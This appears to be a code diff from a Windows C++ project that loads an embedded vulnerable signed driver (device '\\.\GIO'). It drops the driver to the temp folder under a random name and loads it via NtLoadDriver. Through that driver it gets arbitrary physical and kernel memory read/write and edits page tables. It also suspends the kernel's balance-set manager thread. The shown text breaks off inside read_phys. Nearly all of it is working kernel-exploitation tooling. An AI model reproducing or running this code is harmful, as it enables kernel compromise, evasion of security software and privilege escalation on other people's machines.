auto get_pde(void* addr, bool use_hyperspace = false) -> std::pair<ppde, pde>;
bool set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
auto get_pdpte(void* addr, bool use_hyperspace = false) -> std::pair<ppdpte, pdpte>;
bool set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair<ppml4e, pml4e>;
bool set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid);
bool read_phys(void* buffer, void* addr, std::size_t size);
bool write_phys(void* buffer, void* addr, std::size_t size);
template <class T>
__forceinline T read_phys(void* addr)
{
T buffer;
read_phys((void*)&buffer, addr, sizeof(T));
return buffer;
}
template <class T>
__forceinline bool write_phys(void* addr, const T& data)
{
return write_phys((void*)&data, addr, sizeof(T));
}
auto read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>;
auto write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>;
template <class T>
__forceinline T read_virtual(void* addr)
{
T buffer;
read_virtual((void*)&buffer, addr, sizeof(T));
return buffer;
}
template <class T>
__forceinline void write_virtual(void* addr, const T& data)
{
write_virtual((void*)&data, addr, sizeof(T));
}
void* virt_to_phys(pt_entries& entries, void* addr);
bool hyperspace_entries(pt_entries& entries, void* addr);
void* set_page(void* addr);
void* get_page() const;
unsigned pid;
void* dirbase;
vdm::vdm_ctx* v_ctx;
private:
std::uint16_t pml4e_index,
pdpte_index,
pde_index,
pte_index,
page_offset;
std::pair<ppdpte, ppdpte> new_pdpt;
std::pair<ppde,ppde> new_pd;
std::pair<ppte, ppte> new_pt;
};
}

@ -0,0 +1,77 @@
#include "set_mgr.hpp"
namespace set_mgr
{
auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD
{
ULONG return_len = 0u;
std::size_t alloc_size = 0x1000u;
auto process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(malloc(alloc_size));
while (NtQuerySystemInformation
(
SystemProcessInformation,
process_info,
alloc_size,
&return_len
) == STATUS_INFO_LENGTH_MISMATCH)
process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
realloc(process_info, alloc_size += 0x1000));
const auto og_ptr = process_info;
while (process_info && process_info->UniqueProcessId != (HANDLE)4)
process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
reinterpret_cast<std::uintptr_t>(process_info) + process_info->NextEntryOffset);
auto thread_info = reinterpret_cast<SYSTEM_THREAD_INFORMATION*>(
reinterpret_cast<std::uintptr_t>(process_info) + sizeof SYSTEM_PROCESS_INFORMATION);
static const auto ntoskrnl_base =
util::get_kmodule_base("ntoskrnl.exe");
const auto [ke_balance_um, ke_balance_rva] =
util::memory::sig_scan(
KE_BALANCE_SIG, KE_BALANCE_MASK);
auto rip_rva = *reinterpret_cast<std::uint32_t*>(ke_balance_um + 19);
const auto ke_balance_set = ntoskrnl_base + ke_balance_rva + 23 + rip_rva;
const auto [suspend_in_um, suspend_rva] =
util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
rip_rva = *reinterpret_cast<std::uint32_t*>(suspend_in_um + 1);
const auto ps_suspend_thread = reinterpret_cast<void*>(ntoskrnl_base + rip_rva + 5 + suspend_rva);
static const auto lookup_pethread =
util::get_kmodule_export("ntoskrnl.exe", "PsLookupThreadByThreadId");
for (auto idx = 0u; idx < process_info->NumberOfThreads; ++idx)
{
if (thread_info[idx].StartAddress == reinterpret_cast<void*>(ke_balance_set))
{
PETHREAD pethread;
auto result = v_ctx.syscall<PsLookupThreadByThreadId>(
lookup_pethread, thread_info[idx].ClientId.UniqueThread, &pethread);
free(og_ptr);
return pethread;
}
}
free(og_ptr);
return {};
}
auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread) -> NTSTATUS
{
static const auto ntoskrnl_base =
util::get_kmodule_base("ntoskrnl.exe");
const auto [suspend_in_um, suspend_rva] =
util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
const auto rip_rva = *reinterpret_cast<std::uint32_t*>(suspend_in_um + 1);
const auto ps_suspend_thread = reinterpret_cast<void*>(ntoskrnl_base + rip_rva + 5 + suspend_rva);
return v_ctx.syscall<PsSuspendThread>(ps_suspend_thread, pethread, nullptr);
}
}

@ -0,0 +1,18 @@
#pragma once
#include "../vdm_ctx/vdm_ctx.hpp"
using PETHREAD = PVOID;
using PsSuspendThread = NTSTATUS(*)(PETHREAD, PULONG);
using PsLookupThreadByThreadId = NTSTATUS(*)(HANDLE, PETHREAD*);
#define KE_BALANCE_SIG "\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8B\x88\x00\x00\x00\x00\x48\x8D\x05"
#define KE_BALANCE_MASK "xxxxx????xxx????xxx"
#define SUSPEND_THREAD_SIG "\xE8\x00\x00\x00\x00\x8B\xF8\xBA\x50\x73\x53\x75"
#define SUSPEND_THREAD_MASK "x????xxxxxxx"
namespace set_mgr
{
auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD;
auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread)->NTSTATUS;
}

@ -0,0 +1,256 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#pragma comment(lib, "ntdll.lib")
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
namespace driver
{
namespace util
{
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*) drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" +
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode);
}
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::tuple<bool, std::string>
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple<bool, std::string>
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
__forceinline auto unload(const std::string& service_name) -> bool
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode);
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
const bool delete_reg = util::delete_service_entry(service_name);
// sometimes you cannot delete the driver off disk because there are still handles open
// to the driver, this means the driver is still loaded into the kernel...
try
{
std::filesystem::remove(image_path);
}
catch (std::exception& e)
{
return false;
}
return delete_reg && unload_drv;
}
}

@ -0,0 +1,191 @@
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cstdint>
#include <cstddef>
#include <map>
#pragma comment(lib, "ntdll.lib")
#if _DEBUG
#define DBG_ASSERT(...) assert(__VA_ARGS__)
#define DBG_PRINT(...) printf(__VA_ARGS__)
#else
#define DBG_ASSERT(...) assert(__VA_ARGS__)
#define DBG_PRINT(...) printf(__VA_ARGS__)
#endif
#define PAGE_4KB 0x1000
#define MM_COPY_MEMORY_PHYSICAL 0x1
#define MM_COPY_MEMORY_VIRTUAL 0x2
#define PAGE_IN(addr, size) memset(addr, NULL, size)
constexpr auto SystemModuleInformation = 11;
constexpr auto SystemHandleInformation = 16;
constexpr auto SystemExtendedHandleInformation = 64;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
typedef struct _MM_COPY_ADDRESS {
union {
PVOID VirtualAddress;
PHYSICAL_ADDRESS PhysicalAddress;
};
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
using PEPROCESS = PVOID;
using PETHREAD = PVOID;
using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)(
HANDLE ProcessId,
PEPROCESS* Process
);
using MmCopyMemory = NTSTATUS(__stdcall*)(
PVOID,
MM_COPY_ADDRESS,
SIZE_T,
ULONG,
PSIZE_T
);
using MmGetVirtualForPhysical = std::uintptr_t(__fastcall*)(
__in std::uintptr_t PhysicalAddress
);
using MmGetPhysicalAddress = std::uintptr_t(__fastcall*)(
__in std::uintptr_t BaseAddress
);
typedef union _virt_addr_t
{
void* value;
struct
{
std::uint64_t offset : 12;
std::uint64_t pt_index : 9;
std::uint64_t pd_index : 9;
std::uint64_t pdpt_index : 9;
std::uint64_t pml4_index : 9;
std::uint64_t reserved : 16;
};
} virt_addr_t, *pvirt_addr_t;
static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pml4e
{
std::uint64_t value;
struct
{
std::uint64_t present : 1; // Must be 1, region invalid if 0.
std::uint64_t writeable : 1; // If 0, writes not allowed.
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT.
std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Ignored1 : 1;
std::uint64_t large_page : 1; // Must be 0 for PML4E.
std::uint64_t Ignored2 : 4;
std::uint64_t pfn : 36; // The page frame number of the PDPT of this PML4E.
std::uint64_t Reserved : 4;
std::uint64_t Ignored3 : 11;
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
};
} pml4e, * ppml4e;
static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pdpte
{
std::uint64_t value;
struct
{
std::uint64_t present : 1; // Must be 1, region invalid if 0.
std::uint64_t writeable : 1; // If 0, writes not allowed.
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PD.
std::uint64_t page_cache : 1; // Determines the memory type used to access PD.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Ignored1 : 1;
std::uint64_t large_page : 1; // If 1, this entry maps a 1GB page.
std::uint64_t Ignored2 : 4;
std::uint64_t pfn : 36; // The page frame number of the PD of this PDPTE.
std::uint64_t Reserved : 4;
std::uint64_t Ignored3 : 11;
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
};
} pdpte, * ppdpte;
static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pde
{
std::uint64_t value;
struct
{
std::uint64_t present : 1; // Must be 1, region invalid if 0.
std::uint64_t writeable : 1; // If 0, writes not allowed.
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PT.
std::uint64_t page_cache : 1; // Determines the memory type used to access PT.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Ignored1 : 1;
std::uint64_t large_page : 1; // If 1, this entry maps a 2MB page.
std::uint64_t Ignored2 : 4;
std::uint64_t pfn : 36; // The page frame number of the PT of this PDE.
std::uint64_t Reserved : 4;
std::uint64_t Ignored3 : 11;
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
};
} pde, * ppde;
static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pte
{
std::uint64_t value;
struct
{
std::uint64_t present : 1; // Must be 1, region invalid if 0.
std::uint64_t writeable : 1; // If 0, writes not allowed.
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access the memory.
std::uint64_t page_cache : 1; // Determines the memory type used to access the memory.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Dirty : 1; // If 0, the memory backing this page has not been written to.
std::uint64_t PageAccessType : 1; // Determines the memory type used to access the memory.
std::uint64_t Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global.
std::uint64_t Ignored2 : 3;
std::uint64_t pfn : 36; // The page frame number of the backing physical page.
std::uint64_t reserved : 4;
std::uint64_t Ignored3 : 7;
std::uint64_t ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key.
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
};
} pte, * ppte;
static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
struct pt_entries
{
std::pair<ppml4e, pml4e> pml4;
std::pair<ppdpte, pdpte> pdpt;
std::pair<ppde, pde> pd;
std::pair<ppte, pte> pt;
};

@ -0,0 +1,346 @@
#pragma once
#include <Windows.h>
#include <cstdint>
#include <string_view>
#include <iterator>
#include <map>
#include <fstream>
#include <string>
#include <vector>
#include <tlhelp32.h>
#include <array>
#include <algorithm>
#include <atomic>
#include "nt.hpp"
namespace util
{
//--- ranges of physical memory
inline std::map<std::uintptr_t, std::size_t> pmem_ranges;
//--- validates the address
__forceinline auto is_valid(std::uintptr_t addr) -> bool
{
for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second)
return true;
return false;
}
inline const auto init_ranges = ([&]() -> bool
{
HKEY h_key;
DWORD type, size;
LPBYTE data;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
data = new BYTE[size];
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
DWORD count = *(DWORD*)(data + 16);
auto pmi = data + 24;
for (int dwIndex = 0; dwIndex < count; dwIndex++)
{
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
pmi += 20;
}
delete[] data;
RegCloseKey(h_key);
return true;
})();
__forceinline auto get_module_base(const char* module_name) -> std::uintptr_t
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return {};
}
__forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER
{
if (!base_addr || *(short*)base_addr != IMAGE_DOS_SIGNATURE)
return {};
PIMAGE_DOS_HEADER dos_headers =
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
PIMAGE_NT_HEADERS nt_headers =
reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<DWORD_PTR>(base_addr) + dos_headers->e_lfanew);
return &nt_headers->FileHeader;
}
__forceinline auto get_pid(const char* proc_name) -> std::uint32_t
{
PROCESSENTRY32 proc_info;
proc_info.dwSize = sizeof(proc_info);
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (proc_snapshot == INVALID_HANDLE_VALUE)
return NULL;
Process32First(proc_snapshot, &proc_info);
if (!strcmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
while (Process32Next(proc_snapshot, &proc_info))
{
if (!strcmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
}
CloseHandle(proc_snapshot);
return NULL;
}
__forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
__forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void*
{
void* buffer = nullptr;
DWORD buffer_size = 0;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
// find module and then load library it
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
// had to shoot the tires off of "\\SystemRoot\\"
std::string full_path = reinterpret_cast<char*>(modules->Modules[idx].FullPathName);
full_path.replace(
full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1,
std::string(getenv("SYSTEMROOT")).append("\\")
);
auto module_base = LoadLibraryExA(full_path.c_str(),
NULL, DONT_RESOLVE_DLL_REFERENCES);
PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh;
PIMAGE_EXPORT_DIRECTORY p_ied;
PDWORD addr, name;
PWORD ordinal;
p_idh = (PIMAGE_DOS_HEADER)module_base;
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return NULL;
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
return NULL;
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
{
if (!strcmp(export_name, (char*)module_base + name[i]))
{
if (!rva)
{
auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
else
{
auto result = (void*)addr[ordinal[i]];
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
}
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
__forceinline auto get_kmodule_export(void* module_base, const char* export_name) -> void*
{
PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh;
PIMAGE_EXPORT_DIRECTORY p_ied;
PDWORD addr, name;
PWORD ordinal;
p_idh = (PIMAGE_DOS_HEADER)module_base;
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return NULL;
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
return NULL;
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
{
if (!strcmp(export_name, (char*)module_base + name[i]))
{
auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]);
return result;
}
}
return NULL;
}
namespace memory
{
template<std::size_t pattern_length>
__forceinline auto sig_scan(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) -> std::pair<std::uintptr_t, std::uint32_t>
{
static const auto ntoskrnl_module =
LoadLibraryEx(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
static const auto p_idh = reinterpret_cast<PIMAGE_DOS_HEADER>(ntoskrnl_module);
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return { {}, {} };
static const auto p_inh = reinterpret_cast<PIMAGE_NT_HEADERS>((LPBYTE)ntoskrnl_module + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return { {}, {} };
const auto pattern_view =
std::string_view
{
reinterpret_cast<char*>(ntoskrnl_module),
p_inh->OptionalHeader.SizeOfImage
};
std::array<std::pair<char, char>, pattern_length - 1> pattern{};
for (std::size_t index = 0; index < pattern_length - 1; index++)
pattern[index] = { signature[index], mask[index] };
auto resultant_address = std::search
(
pattern_view.cbegin(),
pattern_view.cend(),
pattern.cbegin(),
pattern.cend(),
[](char left, std::pair<char, char> right) -> bool {
return (right.second == '?' || left == right.first);
});
const auto found_address =
resultant_address == pattern_view.cend() ? 0 :
reinterpret_cast<std::uintptr_t>(resultant_address.operator->());
const auto rva = found_address - reinterpret_cast<std::uintptr_t>(ntoskrnl_module);
return { found_address, rva };
}
}
}

File diff suppressed because it is too large Load Diff

@ -0,0 +1,142 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "../util/util.hpp"
#include "../util/loadup.hpp"
#include "raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack (push, 1)
typedef struct _gdrv_t
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t phys_addr;
unsigned long io_space;
unsigned long size;
} gdrv_t, *pgdrv_t;
#pragma pack (pop)
namespace vdm
{
inline HANDLE drv_handle;
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
{
const auto [result, key] =
driver::load(
vdm::raw_driver,
sizeof(vdm::raw_driver)
);
if (!result)
return { {}, {} };
vdm::drv_handle = CreateFileA(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key };
}
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
return false;
gdrv_t in_buffer;
